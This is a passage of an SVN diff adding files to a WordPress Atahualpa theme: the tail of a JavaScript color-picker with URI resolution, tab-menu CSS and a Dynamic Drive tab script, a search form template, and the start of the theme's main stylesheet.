+			var v = Math.max(Math.max(r,g),b)
+			var m = v - n
+			if(m == 0) return [ null, 0, v ]
+			var h = r==n ? 3+(b-g)/m : (g==n ? 5+(r-b)/m : 1+(g-r)/m)
+			return [ h==6?0:h, m/v, v ]
+		}
+
+		function HSV_RGB(h, s, v) {
+			if(h == null) return [ v, v, v ]
+			var i = Math.floor(h)
+			var f = i%2 ? h-i : 1-(h-i)
+			var m = v * (1 - s)
+			var n = v * (1 - s*f)
+			switch(i) {
+				case 6:
+				case 0: return [ v, n, m ]
+				case 1: return [ n, v, m ]
+				case 2: return [ m, v, n ]
+				case 3: return [ m, n, v ]
+				case 4: return [ n, m, v ]
+				case 5: return [ v, m, n ]
+			}
+		}
+
+		this.setString = function(hex) {
+			var m = hex.match(/^\s*#?([0-9A-F]{3}([0-9A-F]{3})?)\s*$/i)
+			if(m) {
+				if(m[1].length==6) { // 6x hex
+					this.setRGB(
+						parseInt(m[1].substr(0,2),16)/255,
+						parseInt(m[1].substr(2,2),16)/255,
+						parseInt(m[1].substr(4,2),16)/255
+					)
+				} else { // 3x hex
+					this.setRGB(
+						parseInt(m[1].charAt(0)+m[1].charAt(0),16)/255,
+						parseInt(m[1].charAt(1)+m[1].charAt(1),16)/255,
+						parseInt(m[1].charAt(2)+m[1].charAt(2),16)/255
+					)
+				}
+			} else {
+				this.setRGB(0,0,0)
+				return false
+			}
+		}
+
+		this.toString = function() {
+			var r = Math.round(this.red * 255).toString(16)
+			var g = Math.round(this.green * 255).toString(16)
+			var b = Math.round(this.blue * 255).toString(16)
+			return (
+				(r.length==1 ? '0'+r : r)+
+				(g.length==1 ? '0'+g : g)+
+				(b.length==1 ? '0'+b : b)
+			).toUpperCase()
+		}
+
+		if(hex) {
+			this.setString(hex)
+		}
+
+	}
+
+
+	function URI(uri) { // See RFC3986
+
+		this.scheme    = null
+		this.authority = null
+		this.path      = ''
+		this.query     = null
+		this.fragment  = null
+
+		this.parse = function(uri) {
+			var m = uri.match(/^(([A-Za-z][0-9A-Za-z+.-]*)(:))?((\/\/)([^\/?#]*))?([^?#]*)((\?)([^#]*))?((#)(.*))?/)
+			this.scheme    = m[3] ? m[2] : null
+			this.authority = m[5] ? m[6] : null
+			this.path      = m[7]
+			this.query     = m[9] ? m[10] : null
+			this.fragment  = m[12] ? m[13] : null
+			return this
+		}
+
+		this.toString = function() {
+			var result = ''
+			if(this.scheme    != null) result = result +      this.scheme + ':'
+			if(this.authority != null) result = result +'//'+ this.authority
+			if(this.path      != null) result = result +      this.path
+			if(this.query     != null) result = result + '?'+ this.query
+			if(this.fragment  != null) result = result + '#'+ this.fragment
+			return result
+		}
+
+		this.toAbsolute = function(base) {
+			var base = new URI(base)
+			var r = this
+			var t = new URI
+
+			if(base.scheme == null) return false
+
+			if(r.scheme != null && r.scheme.toLowerCase() == base.scheme.toLowerCase()) {
+				r.scheme = null
+			}
+
+			if(r.scheme != null) {
+				t.scheme    = r.scheme
+				t.authority = r.authority
+				t.path      = removeDotSegments(r.path)
+				t.query     = r.query
+			} else {
+				if(r.authority != null) {
+					t.authority = r.authority
+					t.path      = removeDotSegments(r.path)
+					t.query     = r.query
+				} else {
+					if(r.path == '') {
+						t.path = base.path
+						if(r.query != null) {
+							t.query = r.query
+						} else {
+							t.query = base.query
+						}
+					} else {
+						if(r.path.substr(0,1) == '/') {
+							t.path = removeDotSegments(r.path)
+						} else {
+							if(base.authority != null && base.path == '') {
+								t.path = '/'+r.path
+							} else {
+								t.path = base.path.replace(/[^\/]+$/,'')+r.path
+							}
+							t.path = removeDotSegments(t.path)
+						}
+						t.query = r.query
+					}
+					t.authority = base.authority
+				}
+				t.scheme = base.scheme
+			}
+			t.fragment = r.fragment
+
+			return t
+		}
+
+		function removeDotSegments(path) {
+			var out = ''
+			while(path) {
+				if(path.substr(0,3)=='../' || path.substr(0,2)=='./') {
+					path = path.replace(/^\.+/,'').substr(1)
+				} else if(path.substr(0,3)=='/./' || path=='/.') {
+					path = '/'+path.substr(3)
+				} else if(path.substr(0,4)=='/../' || path=='/..') {
+					path = '/'+path.substr(4)
+					out = out.replace(/\/?[^\/]*$/, '')
+				} else if(path=='.' || path=='..') {
+					path = ''
+				} else {
+					var rm = path.match(/^\/?[^\/]*/)[0]
+					path = path.substr(rm.length)
+					out = out + rm
+				}
+			}
+			return out
+		}
+
+		if(uri) {
+			this.parse(uri)
+		}
+
+	}
+
+	// init
+	createDialog()
+	bindInputs()
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/options/tabcontent/tabcontent.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/options/tabcontent/tabcontent.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/options/tabcontent/tabcontent.css	(revision 44)
@@ -0,0 +1,176 @@
+/* ######### CSS for Shade Tabs. Remove if not using ######### */
+
+.shadetabs{
+padding: 3px 0;
+margin-left: 0;
+margin-top: 1px;
+margin-bottom: 0;
+font: bold 12px Verdana;
+list-style-type: none;
+text-align: left; /*set to left, center, or right to align the menu as desired*/
+}
+
+.shadetabs li{
+display: inline;
+margin: 0;
+}
+
+.shadetabs li a{
+text-decoration: none;
+position: relative;
+z-index: 1;
+padding: 3px 7px;
+margin-right: 3px;
+border: 1px solid #778;
+color: #2d2b2b;
+background: white url(shade.gif) top left repeat-x;
+}
+
+.shadetabs li a:visited{
+color: #2d2b2b;
+}
+
+.shadetabs li a:hover{
+text-decoration: underline;
+color: #2d2b2b;
+}
+
+.shadetabs li a.selected{ /*selected main tab style */
+position: relative;
+top: 1px;
+}
+
+.shadetabs li a.selected{ /*selected main tab style */
+background-image: url(shadeactive.gif);
+border-bottom-color: white;
+}
+
+.shadetabs li a.selected:hover{ /*selected main tab style */
+text-decoration: none;
+}
+
+.tabcontent{
+display:none;
+}
+
+@media print {
+.tabcontent {
+display:block !important;
+}
+}
+
+/* ######### CSS for Inverted Modern Bricks II Tabs. Remove if not using ######### */
+
+.modernbricksmenu2{
+padding: 0;
+width: 362px;
+border-top: 5px solid #D25A0B; /*Brown color theme*/ 
+background: transparent;
+voice-family: "\"}\"";
+voice-family: inherit;
+}
+
+.modernbricksmenu2 ul{
+margin:0;
+margin-left: 10px; /*margin between first menu item and left browser edge*/
+padding: 0;
+list-style: none;
+}
+
+.modernbricksmenu2 li{
+display: inline;
+margin: 0 2px 0 0;
+padding: 0;
+text-transform:uppercase;
+}
+
+.modernbricksmenu2 a{
+float: left;
+display: block;
+font: bold 11px Arial;
+color: white;
+text-decoration: none;
+margin: 0 1px 0 0; /*Margin between each menu item*/
+padding: 5px 10px;
+background-color: black; /*Brown color theme*/ 
+border-top: 1px solid white;
+}
+
+.modernbricksmenu2 a:hover{
+background-color: #D25A0B; /*Brown color theme*/ 
+color: white;
+}
+
+.modernbricksmenu2 a.selected{ /*currently selected tab*/
+background-color: #D25A0B; /*Brown color theme*/ 
+color: white;
+border-color: #D25A0B; /*Brown color theme*/ 
+}
+
+.tabcontent{
+display:none;
+}
+
+@media print {
+.tabcontent {
+display:block !important;
+}
+}
+
+/* ######### CSS for Indented CSS Tabs. Remove if not using ######### */
+
+
+.indentmenu{
+font: bold 13px Arial;
+width: 100%; /*leave this value as is in most cases*/
+}
+
+.indentmenu ul{
+margin: 0;
+padding: 0;
+float: left;
+/* width: 80%; width of menu*/
+border-top: 1px solid navy; /*navy border*/
+background: black url(indentbg.gif) center center repeat-x;
+}
+
+.indentmenu ul li{
+display: inline;
+}
+
+.indentmenu ul li a{
+float: left;
+color: white; /*text color*/
+padding: 5px 11px;
+text-decoration: none;
+border-right: 1px solid navy; /*navy divider between menu items*/
+}
+
+.indentmenu ul li a:visited{
+color: white;
+}
+
+.indentmenu ul li a.selected{
+color: white !important;
+padding-top: 6px; /*shift text down 1px*/
+padding-bottom: 4px;
+background: black url(indentbg2.gif) center center repeat-x;
+}
+
+
+.tabcontentstyle{ /*style of tab content oontainer*/
+border: 1px solid gray;
+width: 450px;
+margin-bottom: 1em;
+padding: 10px;
+}
+
+.tabcontent{
+display:none;
+}
+
+@media print {
+.tabcontent {
+display:block !important;
+}
+}
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/options/tabcontent/tabcontent.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/options/tabcontent/tabcontent.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/options/tabcontent/tabcontent.js	(revision 44)
@@ -0,0 +1,159 @@
+//** Tab Content script v2.0- © Dynamic Drive DHTML code library (http://www.dynamicdrive.com)
+//** Updated Oct 7th, 07 to version 2.0. Contains numerous improvements:
+//   -Added Auto Mode: Script auto rotates the tabs based on an interval, until a tab is explicitly selected
+//   -Ability to expand/contract arbitrary DIVs on the page as the tabbed content is expanded/ contracted
+//   -Ability to dynamically select a tab either based on its position within its peers, or its ID attribute (give the target tab one 1st)
+//   -Ability to set where the CSS classname "selected" get assigned- either to the target tab's link ("A"), or its parent container
+//** Updated Feb 18th, 08 to version 2.1: Adds a "tabinstance.cycleit(dir)" method to cycle forward or backward between tabs dynamically
+//** Updated April 8th, 08 to version 2.2: Adds support for expanding a tab using a URL parameter (ie: http://mysite.com/tabcontent.htm?tabinterfaceid=0) 
+
+////NO NEED TO EDIT BELOW////////////////////////
+
+function ddtabcontent(tabinterfaceid){
+	this.tabinterfaceid=tabinterfaceid //ID of Tab Menu main container
+	this.tabs=document.getElementById(tabinterfaceid).getElementsByTagName("a") //Get all tab links within container
+	this.enabletabpersistence=true
+	this.hottabspositions=[] //Array to store position of tabs that have a "rel" attr defined, relative to all tab links, within container
+	this.currentTabIndex=0 //Index of currently selected hot tab (tab with sub content) within hottabspositions[] array
+	this.subcontentids=[] //Array to store ids of the sub contents ("rel" attr values)
+	this.revcontentids=[] //Array to store ids of arbitrary contents to expand/contact as well ("rev" attr values)
+	this.selectedClassTarget="link" //keyword to indicate which target element to assign "selected" CSS class ("linkparent" or "link")
+}
+
+ddtabcontent.getCookie=function(Name){ 
+	var re=new RegExp(Name+"=[^;]+", "i"); //construct RE to search for target name/value pair
+	if (document.cookie.match(re)) //if cookie found
+		return document.cookie.match(re)[0].split("=")[1] //return its value
+	return ""
+}
+
+ddtabcontent.setCookie=function(name, value){
+	document.cookie = name+"="+value+";path=/" //cookie value is domain wide (path=/)
+}
+
+ddtabcontent.prototype={
+
+	expandit:function(tabid_or_position){ //PUBLIC function to select a tab either by its ID or position(int) within its peers
+		this.cancelautorun() //stop auto cycling of tabs (if running)
+		var tabref=""
+		try{
+			if (typeof tabid_or_position=="string" && document.getElementById(tabid_or_position).getAttribute("rel")) //if specified tab contains "rel" attr
+				tabref=document.getElementById(tabid_or_position)
+			else if (parseInt(tabid_or_position)!=NaN && this.tabs[tabid_or_position].getAttribute("rel")) //if specified tab contains "rel" attr
+				tabref=this.tabs[tabid_or_position]
+		}
+		catch(err){alert("Invalid Tab ID or position entered!")}
+		if (tabref!="") //if a valid tab is found based on function parameter
+			this.expandtab(tabref) //expand this tab
+	},
+
+	cycleit:function(dir, autorun){ //PUBLIC function to move foward or backwards through each hot tab (tabinstance.cycleit('foward/back') )
+		if (dir=="next"){
+			var currentTabIndex=(this.currentTabIndex<this.hottabspositions.length-1)? this.currentTabIndex+1 : 0
+		}
+		else if (dir=="prev"){
+			var currentTabIndex=(this.currentTabIndex>0)? this.currentTabIndex-1 : this.hottabspositions.length-1
+		}
+		if (typeof autorun=="undefined") //if cycleit() is being called by user, versus autorun() function
+			this.cancelautorun() //stop auto cycling of tabs (if running)
+		this.expandtab(this.tabs[this.hottabspositions[currentTabIndex]])
+	},
+
+	setpersist:function(bool){ //PUBLIC function to toggle persistence feature
+			this.enabletabpersistence=bool
+	},
+
+	setselectedClassTarget:function(objstr){ //PUBLIC function to set which target element to assign "selected" CSS class ("linkparent" or "link")
+		this.selectedClassTarget=objstr || "link"
+	},
+
+	getselectedClassTarget:function(tabref){ //Returns target element to assign "selected" CSS class to
+		return (this.selectedClassTarget==("linkparent".toLowerCase()))? tabref.parentNode : tabref
+	},
+
+	urlparamselect:function(tabinterfaceid){
+		var result=window.location.search.match(new RegExp(tabinterfaceid+"=(\\d+)", "i")) //check for "?tabinterfaceid=2" in URL
+		return (result==null)? null : parseInt(RegExp.$1) //returns null or index, where index (int) is the selected tab's index
+	},
+
+	expandtab:function(tabref){
+		var subcontentid=tabref.getAttribute("rel") //Get id of subcontent to expand
+		//Get "rev" attr as a string of IDs in the format ",john,george,trey,etc," to easily search through
+		var associatedrevids=(tabref.getAttribute("rev"))? ","+tabref.getAttribute("rev").replace(/\s+/, "")+"," : ""
+		this.expandsubcontent(subcontentid)
+		this.expandrevcontent(associatedrevids)
+		for (var i=0; i<this.tabs.length; i++){ //Loop through all tabs, and assign only the selected tab the CSS class "selected"
+			this.getselectedClassTarget(this.tabs[i]).className=(this.tabs[i].getAttribute("rel")==subcontentid)? "selected" : ""
+		}
+		if (this.enabletabpersistence) //if persistence enabled, save selected tab position(int) relative to its peers
+			ddtabcontent.setCookie(this.tabinterfaceid, tabref.tabposition)
+		this.setcurrenttabindex(tabref.tabposition) //remember position of selected tab within hottabspositions[] array
+	},
+
+	expandsubcontent:function(subcontentid){
+		for (var i=0; i<this.subcontentids.length; i++){
+			var subcontent=document.getElementById(this.subcontentids[i]) //cache current subcontent obj (in for loop)
+			subcontent.style.display=(subcontent.id==subcontentid)? "block" : "none" //"show" or hide sub content based on matching id attr value
+		}
+	},
+
+	expandrevcontent:function(associatedrevids){
+		var allrevids=this.revcontentids
+		for (var i=0; i<allrevids.length; i++){ //Loop through rev attributes for all tabs in this tab interface
+			//if any values stored within associatedrevids matches one within allrevids, expand that DIV, otherwise, contract it
+			document.getElementById(allrevids[i]).style.display=(associatedrevids.indexOf(","+allrevids[i]+",")!=-1)? "block" : "none"
+		}
+	},
+
+	setcurrenttabindex:function(tabposition){ //store current position of tab (within hottabspositions[] array)
+		for (var i=0; i<this.hottabspositions.length; i++){
+			if (tabposition==this.hottabspositions[i]){
+				this.currentTabIndex=i
+				break
+			}
+		}
+	},
+
+	autorun:function(){ //function to auto cycle through and select tabs based on a set interval
+		this.cycleit('next', true)
+	},
+
+	cancelautorun:function(){
+		if (typeof this.autoruntimer!="undefined")
+			clearInterval(this.autoruntimer)
+	},
+
+	init:function(automodeperiod){
+		var persistedtab=ddtabcontent.getCookie(this.tabinterfaceid) //get position of persisted tab (applicable if persistence is enabled)
+		var selectedtab=-1 //Currently selected tab index (-1 meaning none)
+		var selectedtabfromurl=this.urlparamselect(this.tabinterfaceid) //returns null or index from: tabcontent.htm?tabinterfaceid=index
+		this.automodeperiod=automodeperiod || 0
+		for (var i=0; i<this.tabs.length; i++){
+			this.tabs[i].tabposition=i //remember position of tab relative to its peers
+			if (this.tabs[i].getAttribute("rel")){
+				var tabinstance=this
+				this.hottabspositions[this.hottabspositions.length]=i //store position of "hot" tab ("rel" attr defined) relative to its peers
+				this.subcontentids[this.subcontentids.length]=this.tabs[i].getAttribute("rel") //store id of sub content ("rel" attr value)
+				this.tabs[i].onclick=function(){
+					tabinstance.expandtab(this)
+					tabinstance.cancelautorun() //stop auto cycling of tabs (if running)
+					return false
+				}
+				if (this.tabs[i].getAttribute("rev")){ //if "rev" attr defined, store each value within "rev" as an array element
+					this.revcontentids=this.revcontentids.concat(this.tabs[i].getAttribute("rev").split(/\s*,\s*/))
+				}
+				if (selectedtabfromurl==i || this.enabletabpersistence && selectedtab==-1 && parseInt(persistedtab)==i || !this.enabletabpersistence && selectedtab==-1 && this.getselectedClassTarget(this.tabs[i]).className=="selected"){
+					selectedtab=i //Selected tab index, if found
+				}
+			}
+		} //END for loop
+		if (selectedtab!=-1) //if a valid default selected tab index is found
+			this.expandtab(this.tabs[selectedtab]) //expand selected tab (either from URL parameter, persistent feature, or class="selected" class)
+		else //if no valid default selected index found
+			this.expandtab(this.tabs[this.hottabspositions[0]]) //Just select first tab that contains a "rel" attr
+		if (parseInt(this.automodeperiod)>500 && this.hottabspositions.length>1){
+			this.autoruntimer=setInterval(function(){tabinstance.autorun()}, this.automodeperiod)
+		}
+	} //END int() function
+
+} //END Prototype assignment
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/searchform.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/searchform.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/searchform.php	(revision 44)
@@ -0,0 +1,11 @@
+<form method="get" class="searchform" action="<?php bloginfo('url'); ?>/">
+<table class="searchform" cellpadding="0" cellspacing="0" border="0">
+<tr>
+<td class="searchfield">
+<input type="text" class="text inputblur" value="<?php the_search_query(); ?>" name="s" />
+</td>
+<td class="searchbutton">
+<input name="submit" value="Search" type="image" src="<?php echo get_bloginfo('template_directory'); ?>/images/magnifier2-gray.gif" style="display: block; border:none; padding: 0 0 0 5px; margin: 0;" />
+</td>
+</tr></table>
+</form>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/style.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/style.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/style.css	(revision 44)
@@ -0,0 +1,2462 @@
+/*  
+Theme Name: Atahualpa
+Theme URI: http://wordpress.bytesforall.com/
+Description: Build your own unique, professional and browser-safe WordPress theme: Over 200 theme options, drop down menus for pages and categories, fluid or fixed width layout, 1, 2 or 3 columns, rotating header images, auto image resizing, integrated Feedburner form, 4 extra widgets and more. WP 2.2-2.7 and WPMU. English plus DE, HU, PT, CZ, SI, TR, FR, PL, NL, BG, IT, VN, JP, ES. Support at the <a href="http://forum.bytesforall.com/">BFA WP Forum</a>
+Version: 3.2
+Author: BFA WebDesign
+Author URI: http://www.bytesforall.com/
+Tags: white, one-column, two-columns, three-columns, fixed-width, flexible-width,  custom-colors, custom-header, theme-options, left-sidebar, right-sidebar, threaded-comments, sticky-post
+ */
+ 
+.aligncenter {
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+	}
+
+.alignleft {
+	float: left;
+	}
+
+.alignright {
+	float: right;
+	}
+	
+/* v  v  v  to create a static CSS  paste the output of 
+yoursite.com/.../style.css.php below this line:  v  v  v */
+
+/* more ... means additional styles are in header.php */
+
+
+/* ------------------------------------------------------------------
+---------- BASE LAYOUT ----------------------------------------------
+------------------------------------------------------------------ */
+body {
+	text-align: center;  /* centering the page container, 
+							text-align will be reset to left 
+							inside the container */
+	margin: 0;
+	padding: 0;
+	/* more  ... */
+	}
+
+a:link, a:visited, a:active {
+	/* more  ... */
+	}
+	
+a:hover {
+	/* more  ... */
+	}
+		
+ul, ol, dl, p, h1, h2, h3, h4, h5, h6 {
+	margin-top: 10px;
+	margin-bottom: 10px;
+	padding-top: 0;
+	padding-bottom: 0;
+	}
+
+ul ul, ul ol, ol ul, ol ol {
+	/* remove margins on sub-lists */
+	margin-top: 0;
+	margin-bottom: 0;
+	}
+
+h1 {font-size: 2.15em; font-weight: bold;}
+h2 {font-size: 1.85em; font-weight: bold;}
+h3 {font-size: 1.6em; font-weight: bold; }
+h4 {font-size: 1.4em;}
+h5 {font-size: 1.2em;}
+h6 {font-size: 1em;}
+
+
+code, pre {
+	font-family: "Courier New", Courier, monospace;
+	font-size: 1em;
+	}
+
+pre {
+	overflow: auto;
+	word-wrap: normal;
+	padding-bottom: 1.5em;
+	overflow-y: hidden;
+	width: 99%;
+	}
+
+
+abbr[title], acronym[title] {
+	border-bottom: 1px dotted;
+	}
+	
+hr {
+	display: block;
+	height: 2px;
+	border: none;
+	margin: 0.5em auto;
+	color: #cccccc;
+	background-color: #cccccc;
+	}
+
+table {
+	font-size: 1em; /* use the body's font size in tables, too */
+	}	
+
+
+/* ------------------------------------------------------------------
+---------- BREAK LONG STRINGS ---------------------------------------
+------------------------------------------------------------------ */
+
+.post, ul.commentlist li, ol.commentlist li {
+	word-wrap: break-word; /* break long strings in IE6+ and Safari2+ 
+							in posts and comments */
+	}
+
+pre, .wp_syntax {
+	word-wrap: normal; /* reset "break-word" for pre & wp-syntax */
+	}
+
+	
+/* ------------------------------------------------------------------
+---------- WRAPPER, CONTAINER & LAYOUT ------------------------------
+------------------------------------------------------------------ */
+
+/*-------------------- WRAPPER for MIN / MAX width --------*/
+
+div#wrapper {
+	text-align: center;  
+	margin-left: auto;
+	margin-right: auto;
+	display: block;
+	/* more  ... */
+	}
+
+/*-------------------- CONTAINER for VISUAL styles --------*/
+
+div#container {
+	/* more  ... */
+	width: auto;
+	margin-left: auto;
+	margin-right: auto;
+	text-align: left; /* resetting the "text-align: center" of "wrapper" */
+	display: block;
+	}
+
+/*-------------------- LAYOUT to keep it all together -----*/
+	
+table#layout {
+	font-size: 100%;
+	width: 100%;
+	max-width: 100%;
+	table-layout: fixed;
+	}
+
+.colone {	/* more  ... */}
+.coltwo {width: 100%; min-width:200px;}
+.colthree {	/* more  ... */}
+	
+	
+/* ------------------------------------------------------------------
+---------- HEADER ---------------------------------------------------
+------------------------------------------------------------------ */
+
+
+/*-------------------- HEADER CONTAINER -------------------*/
+
+td#header {
+	width: auto;
+	padding: 0;
+	}
+
+
+/*-------------------- LOGO AREA --------------------------*/
+
+table#logoarea, 
+table#logoarea tr, 
+table#logoarea td {
+	margin: 0;
+	padding: 0;
+	background: none;
+	border: 0;
+	}
+
+table#logoarea {
+	width: 100%;
+	max-width: 100%;
+	/* more  ... */
+	}
+	
+
+/*-------------------- LOGO -------------------------------*/
+
+.logo {
+	display: block;
+	/* more  ... */
+	}
+
+td.logoarea-logo {
+	width: 1%;
+	}
+
+	
+/*-------------------- BLOG TITLE -------------------------*/
+
+h1.blogtitle {
+	display: block;
+	/* more  ... */
+	}
+	
+h1.blogtitle a:link, 
+h1.blogtitle a:visited, 
+h1.blogtitle a:active {
+	text-decoration: none;
+	/* more  ... */
+	}
+	
+h1.blogtitle a:hover {
+	text-decoration: none;
+	/* more  ... */
+	}
+
+
+/*-------------------- BLOG TAGLINE -----------------------*/
+
+p.tagline { 
+	/* more  ... */
+	}
+
+	
+td.feed-icons {
+	white-space: no-wrap; 
+	}
+
+div.rss-box {
+	height: 1%; 
+	display: block; 
+	padding: 10px 0 10px 10px; 
+	margin: 0;
+	/* more  ... */
+	}
+	
+/*-------------------- COMMENTS FEED ICON -----------------*/
+
+.comments-icon {
+	background: transparent url(images/comment-feed-small.gif) no-repeat scroll 0;
+	height: 22px;
+	line-height: 22px;
+	margin: 0 10px 0 0;
+	padding-left: 27px;
+	/*display: inline-block;*/
+	display: block;
+	text-decoration: none;
+	float: right;
+	white-space: nowrap;
+	}
+
+
+/*-------------------- POSTS FEED ICON --------------------*/
+
+.posts-icon {
+	background: transparent url(images/post-feed-small.gif) no-repeat scroll 0;
+	height: 22px;
+	line-height: 22px;
+	margin: 0 10px 0 0;
+	padding-left: 25px;
+	/*display: inline-block;*/
+	display: block;
+	text-decoration: none;
+	float: right;
+	white-space: nowrap;
+	}
+
+
+/*-------------------- EMAIL SUBSCRIBE ICON ---------------*/
+
+.email-icon {
+	background: transparent url(images/email-feed-small.gif) no-repeat scroll 0;
+	height: 22px;
+	line-height: 22px;
+	margin: 0 10px 0 0;
+	padding-left: 28px;
+	/*display: inline-block;*/
+	display: block;
+	text-decoration: none;
+	float: right;
+	white-space: nowrap;
+	}
+	
+	
+/*-------------------- SEARCH BOX IN HEADER ---------------*/	
+
+td.search-box {
+	height: 1%;
+	}
+	
+.searchbox {
+	/* more  ... */
+	}
+
+.searchbox-form {
+	margin: 5px 10px 5px 10px;
+	}
+
+
+
+/*-------------------- HORIZONTAL BARS --------------------*/
+
+.horbar1, 
+.horbar2 { 
+	font-size: 1px;
+	clear: both; 
+	display: block;
+	position: relative;
+	padding: 0; 
+	margin: 0;
+	width: 100%; 
+	}
+
+.horbar1 {
+	/* more  ... */
+	}
+	
+.horbar2 { 
+	/* more  ... */
+	}	
+
+
+
+.header-image-container {
+	position: relative; 
+	margin: 0; 
+	padding: 0; 
+	/* more  ... */
+	/* background: (= header image) will be added in bfa_header_config.php */
+	}
+
+	
+.titleoverlay {
+	z-index: 4;
+	position: relative;
+	float: left;
+	width: auto;
+	/* more  ... */
+	}
+
+
+/*-------------------- OPACITY LEFT -----------------------*/
+
+.opacityleft {
+	/* more  ... */
+	position: absolute; 
+	z-index: 2; 
+	top: 0; 
+	left: 0; 
+	/* more  ... */
+	}
+
+
+/*-------------------- OPACITY RIGHT ----------------------*/	
+.opacityright {
+	/* more  ... */
+	position: absolute; 
+	z-index: 2; 
+	top: 0; 
+	right: 0; 
+	/* more  ... */
+	}
+
+
+/*-------------------- CLICKABLE HEADER IMAGE -------------*/
+div.clickable {
+	position:absolute; 
+	top:0; 
+	left:0; 
+	z-index:3; 
+	margin: 0; 
+	padding: 0; 
+	/* more  ... */
+	width: 100%;
+	}
+ 
+a.divclick:link, 
+a.divclick:visited, 
+a.divclick:active, 
+a.divclick:hover {
+	width: 100%; 
+	height: 100%; 
+	display: block;
+	text-decoration: none;
+	}
+
+		
+/* ------------------------------------------------------------------
+---------- LEFT SIDEBAR ---------------------------------------------
+------------------------------------------------------------------ */
+
+td#left {
+	vertical-align: top;
+	/* more  ... */
+	}
+
+	
+/* ------------------------------------------------------------------
+---------- RIGHT SIDEBAR --------------------------------------------
+------------------------------------------------------------------ */
+
+td#right {
+	vertical-align: top;
+	/* more  ... */
+	}
+
+	
+/* ------------------------------------------------------------------
+---------- CENTER COLUMN --------------------------------------------
+------------------------------------------------------------------ */
+
+td#middle {
+	vertical-align: top;
+	width: 100%;
+	max-width: 100%;		
+	overflow: auto;
+	/* more  ... */
+	}
+
+	
+	
+/* ------------------------------------------------------------------
+---------- FOOTER ---------------------------------------------------
+------------------------------------------------------------------ */
+
+td#footer {
+	width: auto;
+	/* more  ... */
+	}
+
+td#footer a:link, td#footer a:visited, td#footer a:active {
+	/* more  ... */
+	}
+
+td#footer a:hover {
+	/* more  ... */
+	}
+	
+/* ------------------------------------------------------------------
+---------- WIDGETS --------------------------------------------------
+------------------------------------------------------------------ */
+
+div.widget {
+	display: block;
+	width: auto;  /* without this IE will stretch too-wide select 
+					menus but not the other widgets. With 100% IE
+					will remove sidebar borders if select menu is
+					too wide */
+	/* more  ... */
+	}
+
+div.widget-title {
+	display: block;
+	width: auto;
+	/* more  ... */
+	}
+
+div.widget-title h3 {
+	padding:0;
+	margin:0;
+	/* more  ... */
+	}	
+	
+div.widget-content {
+	display: block;
+	width: auto;
+	/* more  ... */
+	}
+
+	
+/* ------------------------------------------------------------------
+---------- Select MENUS INSIDE OF WIDGETS -------------------------
+------------------------------------------------------------------ */
+
+/* if a select menu is too wide to fit into the sidebar (because one 
+ or several of its option titles are too long) then it will be cut off
+ in IE 6 & 7 */
+
+div.widget select { 
+	/* more  ... */
+	width: 98%; 		/* auto won't work in Safari */
+	margin-top: 5px;
+}	
+	
+	
+/* ------------------------------------------------------------------
+---------- LISTS INSIDE OF WIDGETS ----------------------------------
+------------------------------------------------------------------ */
+
+.widget ul {
+	list-style-type: none;
+	margin: 0; 
+	padding: 0;
+	width: auto;
+	}
+
+/*------------- list items with 1 link per item -----------*/
+	
+.widget ul li {
+	margin: 2px 0 2px 0;  
+	display: block;
+	/* more  ... */
+	}
+
+.widget ul li ul li {
+	/* more  ... */ 
+	}
+
+.widget ul li ul li ul li {
+	/* more  ... */ 
+	}
+	
+.widget ul li a:link, 
+.widget ul li a:visited, 
+.widget ul li a:active {
+	text-decoration: none; 
+	font-weight: normal; 
+	/* more  ... */
+	}
+
+.widget ul li ul li a:link, 
+.widget ul li ul li a:visited, 
+.widget ul li ul li a:active {
+	/* more  ... */
+	}
+
+.widget ul li ul li ul li a:link, 
+.widget ul li ul li ul li a:visited, 
+.widget ul li ul li ul li a:active {
+	/* more  ... */
+	}
+
+	
+.widget ul li a:hover {
+	/* more  ... */
+	}
+
+.widget ul li ul li a:hover {
+	/* more  ... */
+	}
+
+.widget ul li ul li ul li a:hover {
+	/* more  ... */
+	}
+	
+.widget ul li a:link, 
+.widget ul li a:visited, 
+.widget ul li a:active,
+.widget ul li a:hover {
+	display: block;	   /* default=block. If set to "inline-block", the comments widget 
+						cannot be overwritten to "inline" for IE */
+	}
+
+* html .widget ul li a:link, 
+* html .widget ul li a:visited, 
+* html .widget ul li a:active,
+* html .widget ul li a:hover {
+	height: 1%;   /* IE6 needs this */
+	}
+	
+/* the archive widgets get inline-blick so post counts won't wrap
+into the next line. In FF2 items that don't fit into a single line 
+will overflow the sidebar but that is unlikely as the longest item 
+would be "[month name] (post count)" */
+/*.widget_categories ul li a:link, 
+.widget_categories ul li a:visited, 
+.widget_categories ul li a:active,
+.widget_categories ul li a:hover, */
+.widget_archive ul li a:link, 
+.widget_archive ul li a:visited, 
+.widget_archive ul li a:active,
+.widget_archive ul li a:hover {
+	display: -moz-inline-box; /* Firefox 2 doesn't know default "inline-block" */
+	display: inline-block !important;  
+	}
+
+/* The category widget gets "block" or "inline" depending on whether "post count" is being
+used or not. */
+.widget_categories ul li a:link, 
+.widget_categories ul li a:visited, 
+.widget_categories ul li a:active,
+.widget_categories ul li a:hover {
+	/* more  ... */
+	}
+	
+/*------------- list items with 2 links or link & text ----*/
+/* different styles for the default Recent Comments widget,
+the BFA Recent Comments widget and the Get Recent Comments widget */
+
+/* The Get Recent Comments widget's first level (= Post Title)
+doesn't get a border or padding */
+div#get_recent_comments_wrap ul li {
+	padding: 0px;
+	display: block; 
+	border-left: 0px;
+	}
+
+div#get_recent_comments_wrap ul li ul li {
+	margin-left: 0px;
+	}
+	
+/* Get Recent comments 2nd level, others 1st level: */
